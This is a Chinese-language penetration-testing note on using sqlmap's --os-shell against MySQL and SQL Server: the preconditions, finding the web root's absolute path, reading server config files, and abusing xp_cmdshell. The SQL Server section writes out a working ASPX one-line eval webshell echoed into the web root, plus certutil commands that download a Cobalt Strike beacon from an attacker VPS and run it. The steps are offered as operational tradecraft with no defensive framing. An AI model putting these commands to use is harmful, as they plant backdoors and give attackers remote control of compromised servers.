sqlmap关于os-shell小记
SqlMap --os-shell 利用
MySQL
前提条件
- 拥有dba权限
- 网站的绝对路径
- 高版本的mysql需要
show variables like '%secure_file_priv%'或者select - 如果该变量为空,则变量无效,这时候最容易利用
- 如果变量为目录的绝对路径,则服务器会将导入和导出操作限制为仅适用于该目录中的文件
- 如果设置为NULL,则服务器禁用导入和导出操作。
@@secure;或者show global variables like '%secure%';的结果符合要求,secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。这个参数只能通过修改配置文件后重启mysql修改- 当为php时,magic_quotes_gpc为off,php主动转义的功能关闭**
当执行 --os-shell时,这个时候sqlmap主要做了三件事情:
- 进行目标的一个基础信息的探测。
- 上传shell到目标web网站上(sqlmap会自动生成两个文件,一个用于命令执行,一个用于上传文件)
- 退出时删除shell。
寻找绝对路径
- 通过网站报错信息查看绝对路径
- 通过搜索引擎获取
- 配置文件获取路径 如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。
Sqlmap 下可以使用--sql-shell 获取一个sql命令执行窗口,使用load_file('文件名')读取文件
也可以使用 --file-read=文件名 ,读取文件
sqlmap -u 'url' --batch --file-read=/etc/httpd/conf/httpd.conf
- win 下常见的敏感文件
- Linux 下常见的敏感文件
- 通过执行
select @@datadir;获取数据库数据保存的位置、select @@basedir;安装位置、select @@plugin_dirmysql plugin目录
可能会有一些关键信息,然后对关键信息搜索,查找默认路径
执行--os-shell
成功后会在网站绝对路径下,生成两个文件,一个可以上传,一个可以执行命令。

SqlServer
必要条件
- 数据库支持外连
- 数据库权限为SA权限
Sqlserver --os-shell主要是利用
xp_cmdshell扩展进行命令执行。当执行--os-shell 时,这个时候sqlmap主要做了三件事情:
- 识别当前数据库类型,然后打印出来。
- 检测是否为数据库dba,也就是查看是否为sa权限。
- 检测是否开启了xp_cmdshell,如果没有开启sqlmap就会尝试开启。
寻找绝对路径
可以上传一个复杂文件名的文件,比如:l12asd3123_0sads7_08.jpg
或者在网站中找到一个复杂的文件名,觉得会是唯一的,通过命令查找
sqlmap --os-shell 下使用,以下任意一条命令
查找文件

上一句话马或者连cs
写一句话木马
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["weshe11b"],"unsafe");%^> > d:\\wwwroot\\1azq.aspx

上线CS
使用
certutil.exe -urlcache -split -f <http://vpsIP>:port/beacon32.exe a32.exe
a32.exe 执行, 有时执行不成功饭是因为权限不够,可以下载到有执行权限的目录(假如c:/temp/ ,有权限,
certutil.exe -urlcache -split -f <http://vpsIP>:port/beacon32.exe c:/temp/a32.exe
总结
在有拥有dba权限后,
- mysql拿shell的难点在于寻找绝对路径
- sqlserver在于xp_cmdshell 是否开启。
- 作者:yhy
- 链接:https://fireline.fun/article/page-2
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。


.png?table=block&id=2ed97da5-45e9-8064-bc5e-ea3540aaeb5c&t=2ed97da5-45e9-8064-bc5e-ea3540aaeb5c)





.png?table=block&id=2f897da5-45e9-80f3-be17-c682d5baa107&t=2f897da5-45e9-80f3-be17-c682d5baa107)

